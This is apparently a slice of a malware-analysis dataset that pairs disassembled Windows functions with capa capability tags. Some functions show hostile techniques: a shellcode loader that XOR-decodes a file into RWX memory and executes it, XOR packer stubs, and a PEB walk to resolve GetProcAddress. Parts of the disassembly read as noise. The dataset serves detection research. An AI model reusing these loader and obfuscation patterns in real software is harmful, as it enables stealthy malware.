joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40261f
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x402b10
call fcn.0040290c
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x40267f
cmp eax, 0xffffffff
je 0x40267f
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x402678
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x402678
cmp edx, 0x10000000
jae 0x402678
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x402675
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.00402951
ret 4

Function at 0x4026e0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40271e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x402716
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x402720
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x402706
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x402800
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x402816
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x402831
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
Function at 0x407045
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x407080
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x407067
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x407078
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x407082
inc edi
add eax, 0x28
cmp edi, esi
jb 0x40705d
xor eax, eax
pop edi
pop esi
ret

Function at 0x4074b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x7c], 0x79
mov byte [ebp - 0x7b], 0x72
mov byte [ebp - 0x7a], 0x63
mov byte [ebp - 0x79], 0x7a
mov byte [ebp - 0x78], 0x73
mov byte [ebp - 0x77], 0x5e
mov byte [ebp - 0x76], 0x77
mov byte [ebp - 0x75], 0x78
mov byte [ebp - 0x74], 0x72
mov byte [ebp - 0x73], 0x7a
mov byte [ebp - 0x72], 0x73
mov byte [ebp - 0x71], 0x57
mov byte [ebp - 0x70], 0x16
call fcn.00407005
jae 0x4074ee
xchg ecx, eax
xchg ebp, eax
lea eax, [ebp - 0x84]
push eax
call fcn.00407015
push eax
push esi
push dword [ebp + 8]
call fcn.00406fca
add esp, 0x10
mov dword [ebp - 0xc0], eax
push 0x40
push 0x1000
push dword [ebp + 0xc]
push ebx
call dword [ebp - 0x88]
mov esi, eax
cmp esi, ebx
je 0x4077fe
test dword [edi + edi*8 - 1], edi
call dword [eax - 0x18]
sbb al, 0xfb
invalid
push dword [ebp - 0xb4]
push dword [ebp + 0x10]
push esi
call fcn.00406f76
add esp, 0xc
cmp word [edi + 6], bx
mov dword [ebp + 0xc], ebx
jbe 0x407575
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.00406f76
add esp, 0xc
inc dword [ebp + 0xc]
mov ax, word [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x407542
call fcn.00407005
mov ch, dl
retf 0x8b26
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407ed0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov ebp, 0xfffffdd1
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x12c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00406fe3
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
mov byte [ebp - 0x35e], 0x3c
mov byte [ebp - 0x35d], 0x27
mov byte [ebp - 0x35c], 0x30
movsb byte es:[edi], byte [esi]
cld
invalid
push dword [eax]
mov byte [ebp - 0x35b], 0x36
mov byte [ebp - 0x35a], 0x21
mov byte [ebp - 0x359], 0x3a
mov byte [ebp - 0x358], 0x27
mov byte [ebp - 0x357], 0x2c
mov byte [ebp - 0x356], 0x14
mov byte [ebp - 0x355], 0x55
lea eax, [ebp - 0x36c]
push eax
call fcn.00407015
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00406fca
add esp, 0xc
mov dword [ebp - 0x3d4], eax
call fcn.00407005
jmp 0x407ff0
les ecx, [ecx + ecx*4]
test dword [esp + edi*8], ebp
invalid

Function at 0x4091b0
Capabilities:
Access peb ldr_data

Disassembly:
invalid
js 0x40920a
jp 0x409189
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
cmp byte [eax + 0x1c], 0x18
je 0x4091c9
xchg esi, eax
lodsd eax, dword [esi]
mov eax, dword [eax + 8]
push eax
call fcn.00407005
and byte [edx + ecx*2], al
mov ch, 0x8b
clc
mov eax, dword [edi + 0x3c]
mov edx, dword [edi + eax + 0x78]
add edx, edi
mov ecx, dword [edx + 0x18]
mov ebx, dword [edx + 0x20]
add ebx, edi
call fcn.00407005
leave
push ds
out dx, eax
aad 0x49
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edi
mov eax, 0x50746547
cmp dword [esi], eax
jne 0x4091f2
mov eax, 0x41636f72
cmp dword [esi + 4], eax
jne 0x4091f2
out 0xe8, eax
cmc
invalid
call fcn.00407005
cld
add al, 0xa9
mov ch, 0x8b
pop edx
and al, 3
fbld tbyte [esi - 0x75]
or al, 0x4b
mov ebx, dword [edx + 0x1c]
add ebx, edi
mov eax, dword [ebx + ecx*4]
add eax, edi
push eax
call fcn.00407005
int3
Function at 0x426540
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x452d8f
mov eax, dword fs:[0]
push eax
sub esp, 0x148
push esi
mov eax, dword [0x46e224]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov esi, dword [ebp + 8]
mov dword [esi], eax
cmp eax, 0xffffffff
jne 0x426639
push 1
lea ecx, [ebp - 0xa4]
call fcn.00408a40
push 0x46433c
push 0xffffffffffffffff
push str._vs.
push dword [esi]
lea eax, [ebp - 0xa4]
mov dword [ebp - 4], 0
push 0x464348
push str.slot_____DWORD_0xFFFFFFFF_
push eax
call fcn.00402200
add esp, 8
push eax
call fcn.00402200
add esp, 8
mov ecx, eax
call fcn.004091b0
push eax
call fcn.00402200
add esp, 8
mov ecx, eax
call fcn.004091b0
push eax
call fcn.00402200
push 0x18
call fcn.00432115
add esp, 0xc
mov dword [ebp + 8], eax
mov byte [ebp - 4], 1
test eax, eax
je 0x426603
push eax
lea ecx, [ebp - 0xa4]
call fcn.00408960
mov esi, eax
jmp 0x426605
xor esi, esi
lea ecx, [ebp - 0xa4]
mov dword [ebp - 4], 0xffffffff
call fcn.00406760
test esi, esi
je 0x426639
push esi
push 0x12
push str.D:360Work2.vpn_turbowin_turbo_base_threading_thread_local_win.cc
lea ecx, [ebp - 0x154]
call fcn.0040e580
lea ecx, [ebp - 0x154]
call fcn.0040e6b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x431006
Capabilities:
Encode data using xor

Disassembly:
call 0x43100c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x1004fe3
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
push 4
pop eax
call fcn.01003000
mov ebx, esp
push 0x1c
lea eax, [ebp - 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x1005049
mov edi, dword [ebp - 0x1c]
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x10062b8]
mov esi, dword [ebp - 0x40]
mov ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
lea edx, [esi - 1]
and ecx, 0x103
not edx
and edx, ebx
inc ecx
sub edx, esi
dec eax
neg eax
sbb eax, eax
and eax, 0xfffffff1
add eax, 0x11
imul eax, esi
add eax, edi
cmp edx, eax
jae 0x100504d
xor eax, eax
jmp 0x100505a
lea eax, [ebp - 4]
push eax
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x50]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x40e791
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4

Function at 0x41279f
Capabilities:
Get common file path

Disassembly:
push dword [esp + 4]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
ret 8

Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..reloc
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x2cf65870
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x432060
nop
nop
mov eax, section..rdata
nop
nop
nop
cmp eax, 0
nop
je 0x4320d2
nop
nop
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x69136862
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x402a80
Capabilities:
Check mutex on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40110c
push 1
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x40a8c8], eax
test eax, eax
jne 0x402aa3
xor eax, eax
jmp 0x402ad7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x402ac4
push dword [0x40a8c8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x40a8c8], esi
jmp 0x402a9f
push esi
push dword [ebp + 8]
push 1
call dword [sym.imp.PlaySndSrv.DLL_PlaySoundServerInitialize]
test eax, eax
js 0x402ab0
xor eax, eax
inc eax
pop esi
pop ebp
ret 4
Function at 0x403570
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push edi
push dword [ebp + 0xc]
mov edi, eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4035cc
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4035be
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esi + eax]
and edi, 0xf
jbe 0x4035ba
cmp esi, ecx
jae 0x4035be
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec edi
jne 0x4035aa
cmp esi, ecx
jb 0x4035c2
xor eax, eax
jmp 0x4035cb
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebp
ret 8

Function at 0x4039c0
Capabilities:
Create process on windows

Disassembly:
mov edi, edi
push edi
mov edi, eax
call fcn.00403377
test eax, eax
je 0x403a32
mov eax, dword [edi + 0xb4]
dec eax
je 0x403a11
dec eax
je 0x403a05
dec eax
je 0x4039f9
dec eax
je 0x4039ed
dec eax
jne 0x403a2d
push 5
push eax
push 0x401848
jmp 0x403a1b
push 5
xor eax, eax
push eax
push 0x401778
jmp 0x403a1b
push 5
xor eax, eax
push eax
push 0x4016a0
jmp 0x403a1b
push 5
xor eax, eax
push eax
push 0x4015c8
jmp 0x403a1b
push 5
xor eax, eax
push eax
push 0x4014e0
push 0x4015b4
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x403a32
call fcn.00403a39
pop edi
ret

Function at 0x403ec5
Capabilities:
Check if file exists

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x40a020]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
xor bl, bl
call fcn.00403dd6
test eax, eax
jne 0x403f2c
push 0xc
pop ecx
mov dword [ebp - reloc.ADVAPI32.dll_EventWrite], ecx
lea edi, reloc.ADVAPI32.dll_EventWrite
stosd dword es:[edi], eax
push 0
stosd dword es:[edi], eax
lea eax, reloc.ADVAPI32.dll_EventWrite
push eax
push ecx
push 0x42
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
jne 0x403f1b
call fcn.00403db3
test eax, eax
js 0x403fe3
mov ebx, dword [ebp - reloc.ADVAPI32.dll_EventWrite]
and bl, 1
dec bl
neg bl
sbb bl, bl
inc bl
push esi
mov esi, 0x208
push esi
lea eax, reloc.ADVAPI32.dll_EventWrite
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
test bl, bl
jne 0x403f56
call fcn.00403dd6
test eax, eax
mov eax, 0x401960
je 0x403f5b
mov eax, 0x401924
push eax
push 0x401980
mov edi, 0x104
push 0x401d2c
mov eax, edi
lea ebx, reloc.ADVAPI32.dll_EventWrite
call fcn.00403d52
add esp, 0xc
test eax, eax
js 0x403fe2
push esi
lea eax, reloc.ADVAPI32.dll_EventWrite
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push edi
lea eax, reloc.ADVAPI32.dll_EventWrite
push eax
mov eax, ebx
push eax
call dword [sym.imp.SHLWAPI.dll_Ordinal_460]
dec eax
cmp eax, 0x103
jbe 0x403fb1
mov eax, 0x8000ffff
jmp 0x403fe2
lea eax, reloc.ADVAPI32.dll_EventWrite
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x403fc9
mov eax, 0x80070002
jmp 0x403fe2
push 0
push 0x401948
push 0x4019c8
lea eax, reloc.ADVAPI32.dll_EventWrite
push eax
call dword [sym.imp.UxTheme.dll_Ordinal_65]
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0040838b
leave
ret
Function at 0x404636
Capabilities:
Enumerate process modules

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x222c
call fcn.00408a30
mov eax, dword [0x40a020]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - reloc.ADVAPI32.dll_EventWrite], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - reloc.ADVAPI32.dll_EventWrite], eax
xor esi, esi
mov dword [eax], esi
lea eax, reloc.ADVAPI32.dll_EventWrite
push eax
push 0x2000
lea eax, reloc.ADVAPI32.dll_EventWrite
push eax
call dword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x4047b4
mov eax, dword [ebp - reloc.ADVAPI32.dll_EventWrite]
shr eax, 2
mov ecx, 0x800
mov dword [ebp - reloc.ADVAPI32.dll_EventWrite], eax
cmp eax, ecx
jbe 0x4046a5
mov dword [ebp - reloc.ADVAPI32.dll_EventWrite], ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
lea eax, reloc.ADVAPI32.dll_EventWrite
push eax
push ebx
mov dword [ebp - reloc.ADVAPI32.dll_EventWrite], ebx
mov dword [ebp - reloc.ADVAPI32.dll_EventWrite], esi
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x4047b3
push edi
mov edi, esi
cmp dword [ebp - reloc.ADVAPI32.dll_EventWrite], esi
jbe 0x4047b0
lea eax, reloc.ADVAPI32.dll_EventWrite
push eax
push dword [ebp + edi*4 - 0x220c]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
je 0x404792
mov eax, dword [ebp - reloc.ADVAPI32.dll_EventWrite]
cmp eax, dword [ebp - reloc.ADVAPI32.dll_EventWrite]
jne 0x404792
cmp dword [ebp + 0x10], esi
je 0x40471b
cmp ebx, dword [ebp + edi*4 - reloc.ADVAPI32.dll_EventWrite]
je 0x404792
push dword [ebp + edi*4 - 0x220c]
push esi
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x40478c
lea eax, reloc.ADVAPI32.dll_EventWrite
push eax
push 4
lea eax, reloc.ADVAPI32.dll_EventWrite
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x404785
push 0x104
lea eax, reloc.ADVAPI32.dll_EventWrite
push eax
push dword [ebp - 0x221c]
push ebx
call dword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x404785
push dword [ebp - 0x2224]
lea eax, reloc.ADVAPI32.dll_EventWrite
push eax
call dword [sym.imp.msvcrt.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
je 0x4047a1
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - reloc.ADVAPI32.dll_EventWrite]
inc edi
cmp edi, dword [ebp - reloc.ADVAPI32.dll_EventWrite]
jb 0x4046df
jmp 0x4047b0
mov eax, dword [ebp - reloc.ADVAPI32.dll_EventWrite]
mov esi, dword [ebp + edi*4 - reloc.ADVAPI32.dll_EventWrite]
mov dword [eax], ebx
mov eax, esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040838b
leave
ret 0xc
Function at 0x4049ff
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [edi]
push ebx
add eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
mov dword [edi], ebx
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x404a67
cmp dword [ebp - 4], 1
je 0x404a3f
cmp dword [ebp - 4], 2
je 0x404a3f
push 0xd
pop eax
jmp 0x404a67
mov ecx, dword [ebp - 8]
test esi, esi
je 0x404a61
test ecx, ecx
je 0x404a5c
test cl, 1
jne 0x404a3a
mov eax, ecx
shr eax, 1
cmp word [esi + eax*2 - 2], bx
je 0x404a61
jmp 0x404a3a
xor eax, eax
mov word [esi], ax
shr ecx, 1
mov dword [edi], ecx
xor eax, eax
pop ebx
leave
ret 8
Function at 0x4059c3
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push 0x5c
mov eax, 0x4091c2
call fcn.00408d32
and dword [ebp - 0x14], 0
lea edx, [ebp - 0x14]
mov ecx, str._SystemRoot_System32ATBroker.exe
call fcn.00406e3e
test eax, eax
js 0x405b4d
mov eax, dword [ebp - 0x14]
lea ebx, reloc.ADVAPI32.dll_EventWrite
cmp ebx, eax
jb 0x405b4d
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
push ebx
lea esi, [ebp - 0x14]
call fcn.0040678c
mov edi, dword [ebp - 0x14]
test al, al
je 0x405a88
push ebx
push edi
push str._SystemRoot_System32ATBroker.exe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x405a43
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x405ad2
and esi, 0xffff
or esi, 0x80070000
jmp 0x405ad2
cmp eax, ebx
jbe 0x405a51
mov esi, 0x8007007a
jmp 0x405ad2
lea eax, [ebx + 0x16]
cmp eax, ebx
jb 0x405acd
lea ebx, reloc.ADVAPI32.dll_EventWrite
cmp ebx, eax
jb 0x405acd
and dword [ebp - 0x10], 0
push ebx
lea esi, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.0040678c
test al, al
jne 0x405a8f
mov byte [ebp - 4], al
push dword [ebp - 0x10]
call dword [sym.imp.msvcrt.dll_free]
and dword [ebp - 0x10], 0
pop ecx
mov esi, 0x8007000e
jmp 0x405ad2
mov ecx, dword [ebp + 8]
mov al, byte [ecx + 0x2c]
test al, al
mov eax, 0x4019e0
jne 0x405aa3
mov eax, 0x4010f8
push eax
push dword [ecx]
mov eax, ebx
mov ebx, dword [ebp - 0x10]
push edi
push 0x401f94
call fcn.00403d52
add esp, 0x10
test eax, eax
jns 0x405ae6
push ebx
mov byte [ebp - 4], 0
call dword [sym.imp.msvcrt.dll_free]
and dword [ebp - 0x10], 0
pop ecx
mov esi, 0x80004005
or dword [ebp - 4], reloc.ADVAPI32.dll_EventWrite
push edi
call dword [sym.imp.msvcrt.dll_free]
and dword [ebp - 0x14], 0
pop ecx
mov eax, esi
jmp 0x405b52
push 0x44
pop esi
push esi
lea eax, [ebp - 0x68]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
xor eax, eax
push eax
push eax
push 0x1000000
push eax
push eax
push eax
push ebx
push edi
mov dword [ebp - 0x68], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x405abd
push dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x20]
call esi
mov byte [ebp - 4], 0
mov esi, dword [sym.imp.msvcrt.dll_free]
push ebx
call esi
and dword [ebp - 0x10], 0
or dword [ebp - 4], 0xffffffff
push edi
call esi
and dword [ebp - 0x14], 0
pop ecx
pop ecx
xor eax, eax
jmp 0x405b52
mov eax, 0x80004005
call fcn.00408e1e
ret 4
Function at 0x406027
Capabilities:
Set registry value

Disassembly:
push 0x94
mov eax, 0x4090e1
call fcn.00408d32
mov eax, dword [ebp + 0xc]
xor ecx, ecx
mov word [eax], cx
mov eax, dword [ebp + 0x10]
mov word [eax], cx
lea eax, [ebp - 0x10]
push eax
push 0x2001f
xor ebx, ebx
push ebx
push 0x401a18
push 0x80000001
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4061db
mov eax, ebx
cmp dword [esi], eax
je 0x40607e
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esi], ebx
mov ecx, dword [ebp - 0x10]
mov dword [esi], ecx
test eax, eax
jne 0x4061db
push 1
lea eax, [ebp - 0xa0]
call fcn.00404b57
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], 0xa
mov ecx, eax
mov dword [ebp - 4], ebx
call fcn.0040701a
mov ebx, dword [eax]
jmp 0x4061c4
xor eax, eax
test ebx, ebx
setne al
test eax, eax
je 0x4061e3
mov edi, dword [ebx + 8]
mov ebx, dword [ebx]
mov eax, dword [edi + 0x14]
mov dword [ebp - 0x10], edi
mov ecx, 0x401ef8
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x406104
test dx, dx
je 0x406100
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x406104
add eax, 4
add ecx, 4
test dx, dx
jne 0x4060de
xor eax, eax
jmp 0x406109
sbb eax, eax
sbb eax, reloc.ADVAPI32.dll_EventWrite
test eax, eax
setne al
test al, al
je 0x4061c4
lea eax, [ebp - 0x18]
push eax
push dword [edi]
push esi
call fcn.004049bd
test eax, eax
jne 0x4061c4
mov eax, dword [ebp - 0x18]
test al, 2
je 0x4061c4
mov ecx, dword [ebp + 8]
and eax, 0xfffffffd
push 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 4
xor eax, eax
push eax
mov dword [ecx + 0x68], 1
push dword [edi]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test byte [ebp - 0x18], 1
je 0x406192
mov ecx, dword [ebp + 0xc]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp - 0x1c]
jne 0x406169
sub ecx, edx
sar ecx, 1
je 0x40618b
mov edi, dword [ebp + 0xc]
push reloc.KERNEL32.dll_EnterCriticalSection
call fcn.00406b7c
mov edi, dword [ebp - 0x10]
push dword [edi]
mov edi, dword [ebp + 0xc]
jmp 0x4061bf
mov ecx, dword [ebp + 0x10]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp - 0x1c]
jne 0x406198
sub ecx, edx
sar ecx, 1
je 0x4061ba
mov edi, dword [ebp + 0x10]
push reloc.KERNEL32.dll_EnterCriticalSection
call fcn.00406b7c
mov edi, dword [ebp - 0x10]
push dword [edi]
mov edi, dword [ebp + 0x10]
call fcn.00406b7c
test ebx, ebx
jne 0x4060bf
